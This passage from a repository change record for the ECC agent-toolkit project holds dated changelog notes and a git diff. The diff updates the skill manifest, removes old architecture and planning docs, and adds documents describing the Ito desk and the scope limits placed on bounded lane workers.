`v1.10.0`, and posted the announcement discussion at `#1272`. -- 2026-04-05: Salvaged the reusable Hermes-branch operator skills in `6eba30f` without replaying the full branch. Added `skills/github-ops`, `skills/knowledge-ops`, and `skills/hookify-rules`, wired them into install modules, and re-synced the repo to `159` skills. `knowledge-ops` was explicitly adapted to the current workspace model: live code in cloned repos, active truth in GitHub/Linear, broader non-code context in the KB/archive layers. -- 2026-04-05: Fixed the remaining OpenCode npm-publish gap in `db6d52e`. The root package now builds `.opencode/dist` during `prepack`, includes the compiled OpenCode plugin assets in the published tarball, and carries a dedicated regression test (`tests/scripts/build-opencode.test.js`) so the package no longer ships only raw TypeScript source for that surface. -- 2026-04-05: Added `skills/council`, direct-ported the safe `code-tour` lane from `#1193`, and re-synced the repo to `162` skills. `code-tour` stays self-contained and only produces `.tours/*.tour` artifacts with real file/line anchors; no external runtime or extension install is assumed inside the skill. -- 2026-04-05: Closed the latest auto-generated ECC bundle PR wave (`#1275`-`#1281`) after deploying `ECC-Tools/main` fix `f615905`, which now blocks repo-level issue-comment `/analyze` requests from opening repeated bundle PRs while still allowing PR-thread retry analysis to run against immutable head SHAs. -- 2026-04-05: Filled the SEO gap by direct-porting `agents/seo-specialist.md` and `skills/seo/SKILL.md` into `main`, then wiring `skills/seo` into `business-content`. This resolves the stale `team-builder` reference to an SEO specialist and brings the public catalog to `39` agents and `163` skills without merging the stale PR wholesale. -- 2026-04-05: Salvaged the useful common-rule deltas from `#1214` directly into `rules/common/coding-style.md` and `rules/common/testing.md` (KISS/DRY/YAGNI reminders, naming conventions, code-smell guidance, and AAA-style test guidance), then closed the original mixed deletion PR. The broad skill removals in that PR were intentionally not replayed. -- 2026-04-05: Fixed the stale-row bug in `.github/workflows/monthly-metrics.yml` with `bf5961e`. The workflow now refreshes the current month row in issue `#1087` instead of early-returning when the month already exists, and the dispatched run updated the April snapshot to the current star/fork/release counts. -- 2026-04-05: Recovered the useful cost-control workflow from the divergent Hermes branch as a small ECC-native operator skill instead of replaying the branch. `skills/ecc-tools-cost-audit/SKILL.md` is now wired into `operator-workflows` and focused on webhook -> queue -> worker tracing, burn containment, quota bypass, premium-model leakage, and retry fanout in the sibling `ECC-Tools` repo. -- 2026-04-05: Added `skills/council/SKILL.md` in `753da37` as an ECC-native four-voice decision workflow. The useful protocol from PR `#1254` was retained, but the shadow `~/.claude/notes` write path was explicitly removed in favor of `knowledge-ops`, `/save-session`, or direct GitHub/Linear updates when a decision delta matters. -- 2026-04-05: Direct-ported the safe `globals` bump from PR `#1243` into `main` as part of the council lane and closed the PR as superseded. -- 2026-04-05: Closed PR `#1232` after full audit. The proposed `skill-scout` workflow overlaps current `search-first`, `/skill-create`, and `skill-stocktake`; if a dedicated marketplace-discovery layer returns later it should be rebuilt on top of the current install/catalog model rather than landing as a parallel discovery path. -- 2026-04-05: Ported the safe localized README switcher fixes from PR `#1209` directly into `main` rather than merging the docs PR wholesale. The navigation now consistently includes `Português (Brasil)` and `Türkçe` across the localized README switchers, while newer localized body copy stays intact. -- 2026-04-05: Removed the stale InsAIts shipped surface from `main`. ECC no longer ships the external Python MCP entry, opt-in hook wiring, wrapper/monitor scripts, or current docs mentions for `insa-its`; changelog history remains, but the live product surface is now fully ECC-native again. -- 2026-04-05: Salvaged the reusable Hermes-generated operator workflow lane without replaying the whole branch. Added six ECC-native top-level skills instead of the old nested `skills/hermes-generated/*` tree: `automation-audit-ops`, `email-ops`, `finance-billing-ops`, `messages-ops`, `research-ops`, and `terminal-ops`. `research-ops` now wraps the existing research stack, while the other five extend `operator-workflows` without introducing any external runtime assumptions. -- 2026-04-05: Added `skills/product-capability` plus `docs/examples/product-capability-template.md` as the canonical PRD-to-SRS lane for issue `#1185`. This is the ECC-native capability-contract step between vague product intent and implementation, and it lives in `business-content` rather than spawning a parallel planning subsystem. -- 2026-04-05: Tightened `product-lens` so it no longer overlaps the new capability-contract lane. `product-lens` now explicitly owns product diagnosis / brief validation, while `product-capability` owns implementation-ready capability plans and SRS-style constraints. -- 2026-04-05: Continued `#1213` cleanup by removing stale references to the deleted `project-guidelines-example` skill from exported inventory/docs and marking `continuous-learning` v1 as a supported legacy path with an explicit handoff to `continuous-learning-v2`. -- 2026-04-05: Removed the last orphaned localized `project-guidelines-example` docs from `docs/ko-KR` and `docs/zh-CN`. The template now lives only in `docs/examples/project-guidelines-template.md`, which matches the current repo surface and avoids shipping translated docs for a deleted skill. -- 2026-04-05: Added `docs/HERMES-OPENCLAW-MIGRATION.md` as the current public migration guide for issue `#1051`. It reframes Hermes/OpenClaw as source systems to distill from, not the final runtime, and maps scheduler, dispatch, memory, skill, and service layers onto the ECC-native surfaces and ECC 2.0 backlog that already exist. -- 2026-04-05: Landed `skills/agent-sort` and the legacy `/agent-sort` shim from issue `#916` as an ECC-native selective-install workflow. It classifies agents, skills, commands, rules, hooks, and extras into DAILY vs LIBRARY buckets using concrete repo evidence, then hands off installation changes to `configure-ecc` instead of inventing a parallel installer. Catalog truth is now `39` agents, `73` commands, and `179` skills. -- 2026-04-05: Direct-ported the safe README-only `#1285` slice into `main` instead of merging the branch: added a small `Community Projects` section so downstream teams can link public work built on ECC without changing install, security, or runtime surfaces. Rejected `#1286` at review because it adds an external third-party GitHub Action (`hashgraph-online/codex-plugin-scanner`) that does not meet the current supply-chain policy. -- 2026-04-05: Re-audited `origin/feat/hermes-generated-ops-skills` by full diff. The branch is still not mergeable: it deletes current ECC-native surfaces, regresses packaging/install metadata, and removes newer `main` content. Continued the selective-salvage policy instead of branch merge. -- 2026-04-05: Selectively salvaged `skills/frontend-design` from the Hermes branch as a self-contained ECC-native skill, mirrored it into `.agents`, wired it into `framework-language`, and re-synced the catalog to `180` skills after validation. The branch itself remains reference-only until every remaining unique file is either ported intentionally or rejected. -- 2026-04-05: Selectively salvaged the `hookify` command bundle plus the supporting `conversation-analyzer` agent from the Hermes branch. `hookify-rules` already existed as the canonical skill; this pass restores the user-facing command surfaces (`/hookify`, `/hookify-help`, `/hookify-list`, `/hookify-configure`) without pulling in any external runtime or branch-wide regressions. Catalog truth is now `40` agents, `77` commands, and `180` skills. -- 2026-04-05: Selectively salvaged the self-contained review/development bundle from the Hermes branch: `review-pr`, `feature-dev`, and the supporting analyzer/architecture agents (`code-architect`, `code-explorer`, `code-simplifier`, `comment-analyzer`, `pr-test-analyzer`, `silent-failure-hunter`, `type-design-analyzer`). This adds ECC-native command surfaces around PR review and feature planning without merging the branch's broader regressions. Catalog truth is now `47` agents, `79` commands, and `180` skills. -- 2026-04-05: Ported `docs/HERMES-SETUP.md` from the Hermes branch as a sanitized operator-topology document for the migration lane. This is docs-only support for `#1051`, not a runtime change and not a sign that the Hermes branch itself is mergeable. -- 2026-04-05: Finished the useful salvage pass over `origin/feat/hermes-generated-ops-skills`. The remaining unique files were explicitly rejected: - - duplicate git helper commands (`commit`, `commit-push-pr`, `clean-gone`) overlap current checkpoint / publish flows - - `scripts/hooks/security-reminder*` adds a new Python-backed hook path not justified by current runtime policy - - `skills/oura-health` and `skills/pmx-guidelines` are user- or project-specific, not canonical ECC surfaces - - `docs/releases/2.0.0-preview/*` is premature collateral and should be rebuilt from current product truth later - - nested `skills/hermes-generated/*` is superseded by the top-level ECC-native operator skills already ported to `main` -- 2026-04-08: Fixed the command-export regression reported in `#1327` by restoring a canonical `commands:` section in `agent.yaml` and adding `tests/ci/agent-yaml-surface.test.js` to enforce exact parity between the YAML export surface and the real `commands/` directory. Verified with the full repo test sweep: `1764/1764` passing. diff --git a/agent.yaml b/agent.yaml index abcde4c2a..fe0d590a3 100644 --- a/agent.yaml +++ b/agent.yaml @@ -1,6 +1,6 @@ spec_version: "0.1.0" name: ecc -version: 2.2.1 +version: 2.2.2 description: "Initial gitagent export surface for ECC's shared skill catalog, governance, and identity. Native agents, commands, and hooks remain authoritative in the repository while manifest coverage expands." author: affaan-m license: MIT @@ -100,7 +100,9 @@ skills: - logistics-exception-management - market-research - mcp-server-patterns - - motion-ui + - motion-advanced + - motion-foundations + - motion-patterns - nanoclaw-repl - nextjs-turbopack - nutrient-document-processing @@ -123,6 +125,7 @@ skills: - quarkus-security - quarkus-tdd - quarkus-verification + - rails-patterns - ralphinho-rfc-pipeline - react-patterns - react-performance @@ -149,6 +152,9 @@ skills: - swift-concurrency-6-2 - swift-protocol-di-testing - swiftui-patterns + - taste-application + - taste-distillation + - tasteforge-video - tdd-workflow - team-builder - token-budget-advisor diff --git a/assets/images/sponsors/serpapi-logo-dark-mode.svg b/assets/images/sponsors/serpapi-logo-dark-mode.svg new file mode 100644 index 000000000..f46a1d5de --- /dev/null +++ b/assets/images/sponsors/serpapi-logo-dark-mode.svg @@ -0,0 +1,54 @@ + + + + + + + + + + + + + + + diff --git a/assets/images/sponsors/serpapi-logo-light-mode.svg b/assets/images/sponsors/serpapi-logo-light-mode.svg new file mode 100644 index 000000000..fa4006813 --- /dev/null +++ b/assets/images/sponsors/serpapi-logo-light-mode.svg @@ -0,0 +1,39 @@ + + + + + + + + + + + diff --git a/assets/star-history-dark.svg b/assets/star-history-dark.svg deleted file mode 100644 index 3841e561d..000000000 --- a/assets/star-history-dark.svg +++ /dev/null @@ -1,30 +0,0 @@ - - - -0 - -10k - -20k - -30k - -40k - -50k - -Jan 18 - -Jan 23 - -Jan 28 - -Feb 2 - -Feb 7 - - - -affaan-m/ECC · first 40,000 stars -Jan 18, 2026 – Feb 7, 2026 · source: GitHub stargazers API - \ No newline at end of file diff --git a/assets/star-history-light.svg b/assets/star-history-light.svg deleted file mode 100644 index 772d15207..000000000 --- a/assets/star-history-light.svg +++ /dev/null @@ -1,30 +0,0 @@ - - - -0 - -10k - -20k - -30k - -40k - -50k - -Jan 18 - -Jan 23 - -Jan 28 - -Feb 2 - -Feb 7 - - - -affaan-m/ECC · first 40,000 stars -Jan 18, 2026 – Feb 7, 2026 · source: GitHub stargazers API - \ No newline at end of file diff --git a/commands/plan-prd.md b/commands/plan-prd.md index 205082859..192295785 100644 --- a/commands/plan-prd.md +++ b/commands/plan-prd.md @@ -158,3 +158,5 @@ Next step: /plan .claude/prds/{name}.prd.md - **HYPOTHESIS_TESTABLE**: measurable outcome included. - **SCOPE_BOUNDED**: explicit MVP and explicit out-of-scope. - **NO_IMPLEMENTATION_DETAIL**: file paths, libraries, or task breakdowns are absent — if they appeared, move them to the `/plan` step. + +Background on the staged markdown flow: [docs/PLAN-PRD-PATTERN.md](../docs/PLAN-PRD-PATTERN.md). diff --git a/commands/prp-pr.md b/commands/prp-pr.md index 9469cb884..2016ec90b 100644 --- a/commands/prp-pr.md +++ b/commands/prp-pr.md @@ -1,5 +1,5 @@ --- -description: "Create a GitHub PR from current branch with unpushed commits — discovers templates, analyzes changes, pushes" +description: "Alias of /pr for the PRP workflow series. Use when creating a pull request mid-PRP workflow; otherwise use /pr." argument-hint: "[base-branch] (default: main)" --- diff --git a/commands/token-card.md b/commands/token-card.md index 8c537b827..9c4f78abe 100644 --- a/commands/token-card.md +++ b/commands/token-card.md @@ -21,7 +21,7 @@ slash-command harnesses can reach it. ## What it does Renders an SVG card of this machine's AI coding agent usage — tokens, equivalent cost, -streak, per-agent split — from local Claude Code, Codex and OpenCode session logs, and writes +streak, per-agent split — from local Claude Code, Codex, Gemini CLI and OpenCode session logs, and writes it into the working tree as a file the README can reference. Follow the skill for the full workflow, including the confirmation required before the first diff --git a/config/project-stack-mappings.json b/config/project-stack-mappings.json index 46fe11e32..6c90c6e6c 100644 --- a/config/project-stack-mappings.json +++ b/config/project-stack-mappings.json @@ -359,6 +359,7 @@ ], "rules": ["common"], "skills": [ + "rails-patterns", "tdd-workflow", "verification-loop" ], diff --git a/docs/ARCHITECTURE-IMPROVEMENTS.md b/docs/ARCHITECTURE-IMPROVEMENTS.md deleted file mode 100644 index 5a2803e56..000000000 --- a/docs/ARCHITECTURE-IMPROVEMENTS.md +++ /dev/null @@ -1,146 +0,0 @@ -# Architecture Improvement Recommendations - -This document captures architect-level improvements for the Everything Claude Code (ECC) project. It is written from the perspective of a Claude Code coding architect aiming to improve maintainability, consistency, and long-term quality. - ---- - -## 1. Documentation and Single Source of Truth - -### 1.1 Agent / Command / Skill Count Sync - -**Issue:** AGENTS.md states "13 specialized agents, 50+ skills, 33 commands" while the repo has **16 agents**, **65+ skills**, and **40 commands**. README and other docs also vary. This causes confusion for contributors and users. - -**Recommendation:** - -- **Single source of truth:** Derive counts (and optionally tables) from the filesystem or a small manifest. Options: - - **Option A:** Add a script (e.g. `scripts/ci/catalog.js`) that scans `agents/*.md`, `commands/*.md`, and `skills/*/SKILL.md` and outputs JSON/Markdown. CI and docs can consume this. - - **Option B:** Maintain one `docs/catalog.json` (or YAML) that lists agents, commands, and skills with metadata; scripts and docs read from it. Requires discipline to update on add/remove. -- **Short-term:** Manually sync AGENTS.md, README.md, and CLAUDE.md with actual counts and list any new agents (e.g. chief-of-staff, loop-operator, harness-optimizer) in the agent table. - -**Impact:** High — affects first impression and contributor trust. - ---- - -### 1.2 Command → Agent / Skill Map - -**Issue:** There is no single machine- or human-readable map of "which command uses which agent(s) or skill(s)." This lives in README tables and individual command `.md` files, which can drift. - -**Recommendation:** - -- Add a **command registry** (e.g. in `docs/` or as frontmatter in command files) that lists for each command: name, description, primary agent(s), skills referenced. Can be generated from command file content or maintained by hand. -- Expose a "map" in docs (e.g. `docs/COMMAND-AGENT-MAP.md`) or in the generated catalog for discoverability and for tooling (e.g. "which commands use tdd-guide?"). - -**Impact:** Medium — improves discoverability and refactoring safety. - ---- - -## 2. Testing and Quality - -### 2.1 Test Discovery vs Hardcoded List - -**Issue:** `tests/run-all.js` uses a **hardcoded list** of test files. New test files are not run unless someone updates `run-all.js`, so coverage can be incomplete by omission. - -**Recommendation:** - -- **Glob-based discovery:** Discover test files by pattern (e.g. `**/*.test.js` under `tests/`) and run them, with an optional allowlist/denylist for special cases. This makes new tests automatically part of the suite. -- Keep a single entry point (`tests/run-all.js`) that runs discovered tests and aggregates results. - -**Impact:** High — prevents regression where new tests exist but are never executed. - ---- - -### 2.2 Test Coverage Metrics - -**Issue:** There is no coverage tool (e.g. nyc/c8/istanbul). The project cannot assert "80%+ coverage" for its own scripts; coverage is implicit. - -**Recommendation:** - -- Introduce a coverage tool for Node scripts (e.g. `c8` or `nyc`) and run it in CI. Start with a baseline (e.g. 60%) and raise over time; or at least report coverage in CI without failing so the team can see trends. -- Focus on `scripts/` (lib + hooks + ci) as the primary target; exclude one-off scripts if needed. - -**Impact:** Medium — aligns the project with its own AGENTS.md guidance (80%+ coverage) and surfaces untested paths. - ---- - -## 3. Schema and Validation - -### 3.1 Use Hooks JSON Schema in CI - -**Issue:** `schemas/hooks.schema.json` exists and defines the hook configuration shape, but `scripts/ci/validate-hooks.js` does **not** use it. Validation is duplicated (VALID_EVENTS, structure) and can drift from the schema. - -**Recommendation:** - -- Use a JSON Schema validator (e.g. `ajv`) in `validate-hooks.js` to validate `hooks/hooks.json` against `schemas/hooks.schema.json`. Keep the validator as the single source of truth for structure; retain only hook-specific checks (e.g. inline JS syntax) in the script. -- Ensures schema and validator stay in sync and allows IDE/editor validation via `$schema` in hooks.json. - -**Impact:** Medium — reduces drift and improves contributor experience when editing hooks. - ---- - -## 4. Cross-Harness and i18n - -### 4.1 Skill/Agent Subset Sync (.agents/skills, .cursor/skills) - -**Issue:** `.agents/skills/` (Codex) and `.cursor/skills/` are subsets of `skills/`. Adding or removing a skill in the main repo requires manually updating these subsets, which can be forgotten. - -**Recommendation:** - -- Document in CONTRIBUTING.md that adding a skill may require updating `.agents/skills` and `.cursor/skills` (and how to do it). -- Optionally: a CI check or script that compares `skills/` to the subsets and fails or warns if a skill is in one set but not the other when it should be (e.g. by convention or by a small manifest). - -**Impact:** Low–Medium — reduces cross-harness drift. - ---- - -### 4.2 Translation Drift (docs/ zh-CN, zh-TW, ja-JP) - -**Issue:** Translations in `docs/` duplicate agents, commands, skills. As the English source evolves, translations can become outdated without clear process or tooling. - -**Recommendation:** - -- Document a **translation process:** when to update (e.g. on release), who owns each locale, and how to detect stale content (e.g. diff file lists or key sections). -- Consider: translation status file (e.g. `docs/i18n-status.md`) or CI that checks translation file existence/timestamps and warns if English was updated more recently than a translation. -- Long-term: consider extraction/placeholder format (e.g. i18n keys) so translations reference the same structure as the English source. - -**Impact:** Medium — improves experience for non-English users and reduces confusion from outdated translations. - ---- - -## 5. Hooks and Scripts - -### 5.1 Hook Runtime Consistency - -**Issue:** Hooks should keep a consistent Node-mode dispatch surface. Continuous-learning observation now dispatches through `run-with-flags.js` and `observe-runner.js`, which delegates to the existing `observe.sh` implementation without exposing a shell-mode hook entry. - -**Recommendation:** - -- Prefer Node for new hooks when possible (cross-platform, single runtime). If shell is required, document why and keep the surface small. -- Ensure `ECC_HOOK_PROFILE` and `ECC_DISABLED_HOOKS` are respected in all code paths (including shell) so behavior is consistent. - -**Impact:** Low — maintains current design; improves if more hooks migrate to Node. - ---- - -## 6. Summary Table - -| Area | Improvement | Priority | Effort | -|-------------------|--------------------------------------|----------|---------| -| Doc sync | Sync AGENTS.md/README counts & table | High | Low | -| Single source | Catalog script or manifest | High | Medium | -| Test discovery | Glob-based test runner | High | Low | -| Coverage | Add c8/nyc and CI coverage | Medium | Medium | -| Hook schema in CI | Validate hooks.json via schema | Medium | Low | -| Command map | Command → agent/skill registry | Medium | Medium | -| Subset sync | Document/CI for .agents/.cursor | Low–Med | Low–Med | -| Translations | Process + stale detection | Medium | Medium | -| Hook runtime | Prefer Node; document shell use | Low | Low | - ---- - -## 7. Quick Wins (Immediate) - -1. **Update AGENTS.md:** Set agent count to 16; add chief-of-staff, loop-operator, harness-optimizer to the agent table; align skill/command counts with repo. -2. **Test discovery:** Change `run-all.js` to discover `**/*.test.js` under `tests/` (with optional allowlist) so new tests are always run. -3. **Wire hooks schema:** In `validate-hooks.js`, validate `hooks/hooks.json` against `schemas/hooks.schema.json` using ajv (or similar) and keep only hook-specific checks in the script. - -These three can be done in one or two sessions and materially improve consistency and reliability. diff --git a/docs/COMMAND-REGISTRY.json b/docs/COMMAND-REGISTRY.json index c5b76b617..5d7cf79cb 100644 --- a/docs/COMMAND-REGISTRY.json +++ b/docs/COMMAND-REGISTRY.json @@ -741,7 +741,7 @@ }, { "command": "prp-pr", - "description": "Create a GitHub PR from current branch with unpushed commits — discovers templates, analyzes changes, pushes", + "description": "Alias of /pr for the PRP workflow series. Use when creating a pull request mid-PRP workflow; otherwise use /pr.", "type": "testing", "primaryAgents": [], "allAgents": [], diff --git a/docs/ECC-2.0-SESSION-ADAPTER-DISCOVERY.md b/docs/ECC-2.0-SESSION-ADAPTER-DISCOVERY.md deleted file mode 100644 index 68124fd13..000000000 --- a/docs/ECC-2.0-SESSION-ADAPTER-DISCOVERY.md +++ /dev/null @@ -1,322 +0,0 @@ -# ECC 2.0 Session Adapter Discovery - -## Purpose - -This document turns the March 11 ECC 2.0 control-plane direction into a -concrete adapter and snapshot design grounded in the orchestration code that -already exists in this repo. - -## Current Implemented Substrate - -The repo already has a real first-pass orchestration substrate: - -- `scripts/lib/tmux-worktree-orchestrator.js` - provisions tmux panes plus isolated git worktrees -- `scripts/orchestrate-worktrees.js` - is the current session launcher -- `scripts/lib/orchestration-session.js` - collects machine-readable session snapshots -- `scripts/orchestration-status.js` - exports those snapshots from a session name or plan file -- `commands/sessions.md` - already exposes adjacent session-history concepts from Claude's local store -- `scripts/lib/session-adapters/canonical-session.js` - defines the canonical `ecc.session.v1` normalization layer -- `scripts/lib/session-adapters/dmux-tmux.js` - wraps the current orchestration snapshot collector as adapter `dmux-tmux` -- `scripts/lib/session-adapters/claude-history.js` - normalizes Claude local session history as a second adapter -- `scripts/lib/session-adapters/registry.js` - selects adapters from explicit targets and target types -- `scripts/session-inspect.js` - emits canonical read-only session snapshots through the adapter registry - -In practice, ECC can already answer: - -- what workers exist in a tmux-orchestrated session -- what pane each worker is attached to -- what task, status, and handoff files exist for each worker -- whether the session is active and how many panes/workers exist -- what the most recent Claude local session looked like in the same canonical - snapshot shape as orchestration sessions - -That is enough to prove the substrate. It is not yet enough to qualify as a -general ECC 2.0 control plane. - -## What The Current Snapshot Actually Models - -The current snapshot model coming out of `scripts/lib/orchestration-session.js` -has these effective fields: - -```json -{ - "sessionName": "workflow-visual-proof", - "coordinationDir": ".../.claude/orchestration/workflow-visual-proof", - "repoRoot": "...", - "targetType": "plan", - "sessionActive": true, - "paneCount": 2, - "workerCount": 2, - "workerStates": { - "running": 1, - "completed": 1 - }, - "panes": [ - { - "paneId": "%95", - "windowIndex": 1, - "paneIndex": 0, - "title": "seed-check", - "currentCommand": "codex", - "currentPath": "/tmp/worktree", - "active": false, - "dead": false, - "pid": 1234 - } - ], - "workers": [ - { - "workerSlug": "seed-check", - "workerDir": ".../seed-check", - "status": { - "state": "running", - "updated": "...", - "branch": "...", - "worktree": "...", - "taskFile": "...", - "handoffFile": "..." - }, - "task": { - "objective": "...", - "seedPaths": ["scripts/orchestrate-worktrees.js"] - }, - "handoff": { - "summary": [], - "validation": [], - "remainingRisks": [] - }, - "files": { - "status": ".../status.md", - "task": ".../task.md", - "handoff": ".../handoff.md" - }, - "pane": { - "paneId": "%95", - "title": "seed-check" - } - } - ] -} -``` - -This is already a useful operator payload. The main limitation is that it is -implicitly tied to one execution style: - -- tmux pane identity -- worker slug equals pane title -- markdown coordination files -- plan-file or session-name lookup rules - -## Gap Between ECC 1.x And ECC 2.0 - -ECC 1.x currently has two different "session" surfaces: - -1. Claude local session history -2. Orchestration runtime/session snapshots - -Those surfaces are adjacent but not unified. - -The missing ECC 2.0 layer is a harness-neutral session adapter boundary that -can normalize: - -- tmux-orchestrated workers -- plain Claude sessions -- Codex worktree sessions -- OpenCode sessions -- future GitHub/App or remote-control sessions - -Without that adapter layer, any future operator UI would be forced to read -tmux-specific details and coordination markdown directly. - -## Adapter Boundary - -ECC 2.0 should introduce a canonical session adapter contract. - -Suggested minimal interface: - -```ts -type SessionAdapter = { - id: string; - canOpen(target: SessionTarget): boolean; - open(target: SessionTarget): Promise; -}; - -type AdapterHandle = { - getSnapshot(): Promise; - streamEvents?(onEvent: (event: SessionEvent) => void): Promise<() => void>; - runAction?(action: SessionAction): Promise; -}; -``` - -### Canonical Snapshot Shape - -Suggested first-pass canonical payload: - -```json -{ - "schemaVersion": "ecc.session.v1", - "adapterId": "dmux-tmux", - "session": { - "id": "workflow-visual-proof", - "kind": "orchestrated", - "state": "active", - "repoRoot": "...", - "sourceTarget": { - "type": "plan", - "value": ".claude/plan/workflow-visual-proof.json" - } - }, - "workers": [ - { - "id": "seed-check", - "label": "seed-check", - "state": "running", - "branch": "...", - "worktree": "...", - "runtime": { - "kind": "tmux-pane", - "command": "codex", - "pid": 1234, - "active": false, - "dead": false - }, - "intent": { - "objective": "...", - "seedPaths": ["scripts/orchestrate-worktrees.js"] - }, - "outputs": { - "summary": [], - "validation": [], - "remainingRisks": [] - }, - "artifacts": { - "statusFile": "...", - "taskFile": "...", - "handoffFile": "..." - } - } - ], - "aggregates": { - "workerCount": 2, - "states": { - "running": 1, - "completed": 1 - } - } -} -``` - -This preserves the useful signal already present while removing tmux-specific -details from the control-plane contract. - -## First Adapters To Support - -### 1. `dmux-tmux` - -Wrap the logic already living in -`scripts/lib/orchestration-session.js`. - -This is the easiest first adapter because the substrate is already real. - -### 2. `claude-history` - -Normalize the data that -`commands/sessions.md` -and the existing session-manager utilities already expose: - -- session id / alias -- branch -- worktree -- project path -- recency / file size / item counts - -This provides a non-orchestrated baseline for ECC 2.0. - -### 3. `codex-worktree` - -Use the same canonical shape, but back it with Codex-native execution metadata -instead of tmux assumptions where available. - -### 4. `opencode` - -Use the same adapter boundary once OpenCode session metadata is stable enough to -normalize. - -## What Should Stay Out Of The Adapter Layer - -The adapter layer should not own: - -- business logic for merge sequencing -- operator UI layout -- pricing or monetization decisions -- install profile selection -- tmux lifecycle orchestration itself - -Its job is narrower: - -- detect session targets -- load normalized snapshots -- optionally stream runtime events -- optionally expose safe actions - -## Current File Layout - -The adapter layer now lives in: - -```text -scripts/lib/session-adapters/ - canonical-session.js - dmux-tmux.js - claude-history.js - registry.js -scripts/session-inspect.js -tests/lib/session-adapters.test.js -tests/scripts/session-inspect.test.js -``` - -The current orchestration snapshot parser is now being consumed as an adapter -implementation rather than remaining the only product contract. - -## Immediate Next Steps - -1. Add a third adapter, likely `codex-worktree`, so the abstraction moves - beyond tmux plus Claude-history. -2. Decide whether canonical snapshots need separate `state` and `health` - fields before UI work starts. -3. Decide whether event streaming belongs in v1 or stays out until after the - snapshot layer proves itself. -4. Build operator-facing panels only on top of the adapter registry, not by - reading orchestration internals directly. - -## Open Questions - -1. Should worker identity be keyed by worker slug, branch, or stable UUID? -2. Do we need separate `state` and `health` fields at the canonical layer? -3. Should event streaming be part of v1, or should ECC 2.0 ship snapshot-only - first? -4. How much path information should be redacted before snapshots leave the local - machine? -5. Should the adapter registry live inside this repo long-term, or move into the - eventual ECC 2.0 control-plane app once the interface stabilizes? - -## Recommendation - -Treat the current tmux/worktree implementation as adapter `0`, not as the final -product surface. - -The shortest path to ECC 2.0 is: - -1. preserve the current orchestration substrate -2. wrap it in a canonical session adapter contract -3. add one non-tmux adapter -4. only then start building operator panels on top diff --git a/docs/HERMES-OPENCLAW-MIGRATION.md b/docs/HERMES-OPENCLAW-MIGRATION.md index 8391398c8..4984a9cbd 100644 --- a/docs/HERMES-OPENCLAW-MIGRATION.md +++ b/docs/HERMES-OPENCLAW-MIGRATION.md @@ -46,7 +46,7 @@ That means the shortest safe path is: Use the current workspace split consistently: - live code work happens in cloned repos under `~/GitHub` -- repo-specific active execution context lives in repo-level `WORKING-CONTEXT.md` +- repo-specific direction lives in the repo's planning docs under `docs/`, shipped change history in `CHANGELOG.md` - broader non-code context can live in KB/archive layers - durable cross-machine truth should prefer GitHub, Linear, and the knowledge base @@ -105,7 +105,7 @@ Source examples: Translate into: - `knowledge-ops` -- repo `WORKING-CONTEXT.md` +- repo planning docs under `docs/` and `CHANGELOG.md` - GitHub / Linear / KB-backed durable context - future deep memory work under `#1049` diff --git a/docs/ITO-DESK.md b/docs/ITO-DESK.md new file mode 100644 index 000000000..ec8232ff1 --- /dev/null +++ b/docs/ITO-DESK.md @@ -0,0 +1,26 @@ +# ECC and the Ito desk + +ECC is the public agentic-engineering toolkit; the Ito desk is Affaan's +private ops system. The connection surface in this repo is the set of +public `ito-*` skills (`skills/ito-baskets`, `skills/ito-compute`, +`skills/ito-inference`, `skills/ito-training`). Each of them is a thin +pointer: it names the supported boundary and hands real work to the +separately installed canonical CLI or MCP server. ECC itself implements no +compute booking, inference serving, training stack or basket trading, and +nothing here may claim those capabilities exist inside this repo. + +Desk-side work that touches ECC runs as bounded lane tasks. The lane-worker +doctrine (see `docs/LANE-RULES.md`) is: one worker, one task, one branch, +one PR or one receipt; real work only, meaning code edits, tests, commits +and a PR, with the final message as the receipt; no self-review loops, no +receipt ledgers, no merging to main, no publishing, no deployments, no +messages; blocked means naming exactly who or what unblocks. The doctrine +exists because unbounded agent loops were the dominant failure mode of the +desk's earlier automation. + +The merge rule for anything desk-related in this repo: fixes and tests +merge freely. Anything that adds a third-party tool, a vendor-named skill, +or an external link waits for Affaan's explicit yes, recorded before merge. +The living desk plan is `docs/PLAN.md` in `Ito-Markets/ito-desk`; task +schemas and the spec book live under `docs/spec/` in the same repo. This +file only describes the relationship; the plan repo is the source of truth. diff --git a/docs/LANE-RULES.md b/docs/LANE-RULES.md new file mode 100644 index 000000000..5b765d381 --- /dev/null +++ b/docs/LANE-RULES.md @@ -0,0 +1,19 @@ +# Lane rules + +These are the working rules for bounded lane workers (human or agent) that +execute tasks against this repository from the Ito workstream system. They +are copied verbatim from the lane registry +(`lanes/RULES.md` in the Ito workstream system on the ops mini, +2026-09-16) so a worker reading only this repo sees the same contract. +One task, one branch, one PR or one receipt, then stop. + +--- + +## Lane rules (every codex exec brief starts by reading this) +You are one bounded worker. One task, one branch, one PR or one receipt, then stop. +- Real work only: edit code, run the tests, commit, push, open the PR. No receipts about receipts, no independent review of your own output, no hashing manifests, no ledgers, no acceptance JSONs, no skill self-patching. Your final message is the receipt (under 300 words: what changed, PR link, test command and result, what is blocked and on whom). +- Never merge to main, never publish to npm, never deploy, never send email or messages, never change Hermes profiles or launchd on the mini unless the brief says so explicitly. +- Commits: plain messages, no Co-Authored-By or generated-with trailers, no em dashes anywhere. +- Worktrees and caches go under ~/GitHub/ECC-worktrees or ~/GitHub on the Pro, /Volumes/Agent-Runtime/workspaces on the mini, never on the mini root disk. +- If blocked (missing credential, approval needed, conflicting work), stop and say exactly what is needed. Do not wait, poll, or sleep. +- Time box: finish in one pass. Do not spawn subagents. diff --git a/docs/MEGA-PLAN-REPO-PROMPTS-2026-03-12.md b/docs/MEGA-PLAN-REPO-PROMPTS-2026-03-12.md deleted file mode 100644 index 4830deb5c..000000000 --- a/docs/MEGA-PLAN-REPO-PROMPTS-2026-03-12.md +++ /dev/null @@ -1,286 +0,0 @@ -# Mega Plan Repo Prompt List — March 12, 2026 - -## Purpose - -Use these prompts to split the remaining March 11 mega-plan work by repo. -They are written for parallel agents and assume the March 12 orchestration and -Windows CI lane is already merged via `#417`. - -## Current Snapshot - -- `everything-claude-code` has finished the orchestration, Codex baseline, and - Windows CI recovery lane. -- The next open ECC Phase 1 items are: - - review `#399` - - convert recurring discussion pressure into tracked issues - - define selective-install architecture - - write the ECC 2.0 discovery doc -- `agentshield`, `ECC-website`, and `skill-creator-app` all have dirty - `main` worktrees and should not be edited directly on `main`. -- `applications/` is not a standalone git repo. It lives inside the parent - workspace repo at ``. - -## Repo: `everything-claude-code` - -### Prompt A — PR `#399` Review and Merge Readiness - -```text 